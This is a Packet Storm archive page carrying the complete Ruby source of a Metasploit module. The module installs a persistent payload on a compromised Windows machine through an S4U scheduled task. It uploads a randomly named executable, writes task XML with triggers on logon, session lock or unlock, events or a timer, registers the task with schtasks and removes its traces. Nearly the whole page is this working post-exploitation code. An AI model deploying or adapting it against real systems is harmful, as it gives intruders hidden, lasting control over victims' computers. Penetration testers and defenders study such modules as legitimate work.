exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Windows Manage User Level Persistent Payload Installer

Windows Manage User Level Persistent Payload Installer
Posted Feb 18, 2013
Authored by Brandon McCann, Thomas McCarthy | Site metasploit.com

This Metasploit module creates a scheduled task that will run using service-for-user (S4U). This allows the scheduled task to run even as an unprivileged user that is not logged into the device. This will result in lower security context, allowing access to local resources only. The module requires 'Logon as a batch job' permissions (SeBatchLogonRight).

tags | exploit, local
SHA-256 | cbb54215cefd21bbad843bf7ad1489f0dbdc50063f7fe9bb3f39430b2a7f556d

Windows Manage User Level Persistent Payload Installer

Change Mirror Download
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/exploit/exe'

class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Exploit::EXE

def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage User Level Persistent Payload Installer',
'Description' => %q{
Creates a scheduled task that will run using service-for-user (S4U).
This allows the scheduled task to run even as an unprivileged user
that is not logged into the device. This will result in lower security
context, allowing access to local resources only. The module
requires 'Logon as a batch job' permissions (SeBatchLogonRight).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Windows', {} ] ],
'DisclosureDate' => 'Jan 2 2013', # Date of scriptjunkie's blog post
'DefaultTarget' => 0,
'References' => [
[ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'],
[ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/']
]
))

register_options(
[
OptInt.new('FREQUENCY', [false, 'Schedule trigger: Frequency in minutes to execute']),
OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires']),
OptEnum.new('TRIGGER', [true, 'Payload trigger method', 'schedule',['logon', 'lock', 'unlock','schedule', 'event']]),
OptString.new('REXENAME',[false, 'Name of exe on remote system']),
OptString.new('RTASKNAME',[false, 'Name of exe on remote system']),
OptString.new('PATH',[false, 'PATH to write payload'])
], self.class)

register_advanced_options(
[
OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']),
OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']),
OptString.new('XPATH', [false, 'XPath query'])
], self.class)
end

def exploit
if not (sysinfo['OS'] =~ /Build [6-9]\d\d\d/)
fail_with(Exploit::Failure::NoTarget, "This module only works on Vista/2008 and above")
end

if datastore['TRIGGER'] == "event"
if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil?
print_status("The properties of any event in the event viewer will contain this information")
fail_with(Exploit::Failure::BadConfig, "Advanced options EVENT_LOG and EVENT_ID required for event")
end
end

# Generate payload
payload = generate_payload_exe

# Generate remote executable name
rexename = generate_rexename

# Generate path names
xml_path,rexe_path = generate_path(rexename)

# Upload REXE to victim fs
upload_rexe(rexe_path, payload)

# Create basic XML outline
xml = create_xml(rexe_path)

# Fix XML based on trigger
xml = add_xml_triggers(xml)

# Write XML to victim fs, if fail clean up
write_xml(xml, xml_path, rexe_path)

# Name task with Opt or give random name
schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8)+6))

# Create task with modified XML
create_task(xml_path, schname, rexe_path)
end

##############################################################
# Generate name for payload
# Returns name

def generate_rexename
rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
if not rexename =~ /\.exe$/
print_warning("#{datastore['REXENAME']} isn't an exe")
end
return rexename
end

##############################################################
# Generate Path for payload upload
# Returns path for xml and payload

def generate_path(rexename)
# generate a path to write payload and xml
path = datastore['PATH'] || expand_path("%TEMP%")
xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.xml"
rexe_path = "#{path}\\#{rexename}"
return xml_path,rexe_path
end

##############################################################
# Upload the executable payload
# Returns boolean for success

def upload_rexe(path, payload)
vprint_status("Uploading #{path}")
if file? path
fail_with(Exploit::Failure::Unknown, "File #{path} already exists...exiting")
end
begin
write_file(path, payload)
rescue => e
fail_with(Exploit::Failure::Unknown, "Could not upload to #{path}")
end
print_status("Successfully uploaded remote executable to #{path}")
end

##############################################################
# Creates a scheduled task, exports as XML, deletes task
# Returns normal XML for generic task

def create_xml(rexe_path)
xml_path = File.join(Msf::Config.install_root, "data", "exploits", "s4u_persistence.xml")
xml_file = File.new(xml_path,"r")
xml = xml_file.read
xml_file.close

# Get local time, not system time from victim machine
begin
vt = client.railgun.kernel32.GetLocalTime(32)
ut = vt['lpSystemTime'].unpack("v*")
t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5])
rescue
print_warning("Could not read system time from victim...using your local time to determine creation date")
t = ::Time.now
end
date = t.strftime("%Y-%m-%d")
time = t.strftime("%H:%M:%S")

# put in correct times
xml = xml.gsub(/DATEHERE/, "#{date}T#{time}")

domain, user = client.sys.config.getuid.split('\\')

# put in user information
xml = xml.sub(/DOMAINHERE/, user)
xml = xml.sub(/USERHERE/, "#{domain}\\#{user}")

xml = xml.sub(/COMMANDHERE/, rexe_path)
return xml
end

##############################################################
# Takes the XML, alters it based on trigger specified. Will also
# add in expiration tag if used.
# Returns the modified XML

def add_xml_triggers(xml)
# Insert trigger
case datastore['TRIGGER']
when 'logon'
# Trigger based on winlogon event, checks windows license key after logon
print_status("This trigger triggers on event 4101 which validates the Windows license")
line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]"
xml = create_trigger_event_tags("Application", line, xml)

when 'lock'
xml = create_trigger_tags("SessionLock", xml)

when 'unlock'
xml = create_trigger_tags("SessionUnlock", xml)

when 'event'
line = "*[System[(EventID=#{datastore['EVENT_ID']})]]"
if not datastore['XPATH'].nil? and not datastore['XPATH'].empty?
# Append xpath queries
line << " and #{datastore['XPATH']}"
# Print XPath query, useful to user to spot issues with uncommented single quotes
print_status("XPath query: #{line}")
end

xml = create_trigger_event_tags(datastore['EVENT_LOG'], line, xml)

when 'schedule'
# Change interval tag, insert into XML
if datastore['FREQUENCY'] != 0
minutes = datastore['FREQUENCY']
else
print_status("Defaulting frequency to every hour")
minutes = 60
end
xml = xml.sub(/<Interval>.*?</, "<Interval>PT#{minutes}M<")

# Insert expire tag if not 0
unless datastore['EXPIRE_TIME'] == 0
# Generate expire tag
end_boundary = create_expire_tag
# Inject expire tag
insert = xml.index("</StartBoundary>")
xml.insert(insert + 16, "\n #{end_boundary}")
end
end
return xml
end

##############################################################
# Creates end boundary tag which expires the trigger
# Returns XML for expire

def create_expire_tag()
# Get local time, not system time from victim machine
begin
vt = client.railgun.kernel32.GetLocalTime(32)
ut = vt['lpSystemTime'].unpack("v*")
t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5])
rescue
print_error("Could not read system time from victim...using your local time to determine expire date")
t = ::Time.now
end

# Create time object to add expire time to and create tag
t = t + (datastore['EXPIRE_TIME'] * 60)
date = t.strftime("%Y-%m-%d")
time = t.strftime("%H:%M:%S")
end_boundary = "<EndBoundary>#{date}T#{time}</EndBoundary>"
return end_boundary
end

##############################################################
# Creates trigger XML for session state triggers and replaces
# the time trigger.
# Returns altered XML

def create_trigger_tags(trig, xml)
domain, user = client.sys.config.getuid.split('\\')

# Create session state trigger, weird spacing used to maintain
# natural Winadows spacing for XML export
temp_xml = "<SessionStateChangeTrigger>\n"
temp_xml << " #{create_expire_tag}" unless datastore['EXPIRE_TIME'] == 0
temp_xml << " <Enabled>true</Enabled>\n"
temp_xml << " <StateChange>#{trig}</StateChange>\n"
temp_xml << " <UserId>#{domain}\\#{user}</UserId>\n"
temp_xml << " </SessionStateChangeTrigger>"

xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml)

return xml
end

##############################################################
# Creates trigger XML for event based triggers and replaces
# the time trigger.
# Returns altered XML

def create_trigger_event_tags(log, line, xml)
# Fscked up XML syntax for windows event #{id} in #{log}, weird spacind
# used to maintain natural Windows spacing for XML export
temp_xml = "<EventTrigger>\n"
temp_xml << " #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0
temp_xml << " <Enabled>true</Enabled>\n"
temp_xml << " <Subscription><QueryList><Query Id=\"0\" "
temp_xml << "Path=\"#{log}\"><Select Path=\"#{log}\">"
temp_xml << line
temp_xml << "</Select></Query></QueryList>"
temp_xml << "</Subscription>\n"
temp_xml << " </EventTrigger>"

xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml)
return xml
end

##############################################################
# Takes the XML and a path and writes file to filesystem
# Returns boolean for success

def write_xml(xml, path, rexe_path)
if file? path
delete_file(rexe_path)
fail_with(Exploit::Failure::Unknown, "File #{path} already exists...exiting")
end
begin
write_file(path, xml)
rescue
delete_file(rexe_path)
fail_with(Exploit::Failure::Unknown, "Issues writing XML to #{path}")
end
print_status("Successfully wrote XML file to #{path}")
end

##############################################################
# Takes path and delete file
# Returns boolean for success

def delete_file(path)
begin
file_rm(path)
rescue
print_warning("Could not delete file #{path}, delete manually")
end
end

##############################################################
# Takes path and name for task and creates final task
# Returns boolean for success

def create_task(path, schname, rexe_path)
# create task using XML file on victim fs
create_task_response = cmd_exec("cmd.exe", "/c schtasks /create /xml #{path} /tn \"#{schname}\"")
if create_task_response =~ /has successfully been created/
print_good("Persistence task #{schname} created successfully")

# Create to delete commands for exe and task
del_task = "schtasks /delete /tn \"#{schname}\" /f"
print_status("#{"To delete task:".ljust(20)} #{del_task}")
print_status("#{"To delete payload:".ljust(20)} del #{rexe_path}")
del_task << "\ndel #{rexe_path}"

# Delete XML from victim
delete_file(path)

# Save info to notes DB
report_note(:host => session.session_host,
:type => "host.s4u_persistance.cleanup",
:data => {
:session_num => session.sid,
:stype => session.type,
:desc => session.info,
:platform => session.platform,
:via_payload => session.via_payload,
:via_exploit => session.via_exploit,
:created_at => Time.now.utc,
:delete_commands => del_task
}
)
elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/
# Clean up
delete_file(rexe_path)
delete_file(path)
error = "The scheduled task name is already in use"
fail_with(Exploit::Failure::Unknown, error)
else
error = "Issues creating task using XML file schtasks"
vprint_error("Error: #{create_task_response}")
if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event"
print_warning("Security log can restricted by UAC, try a different trigger")
end
# Clean up
delete_file(rexe_path)
delete_file(path)
fail_with(Exploit::Failure::Unknown, error)
end
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close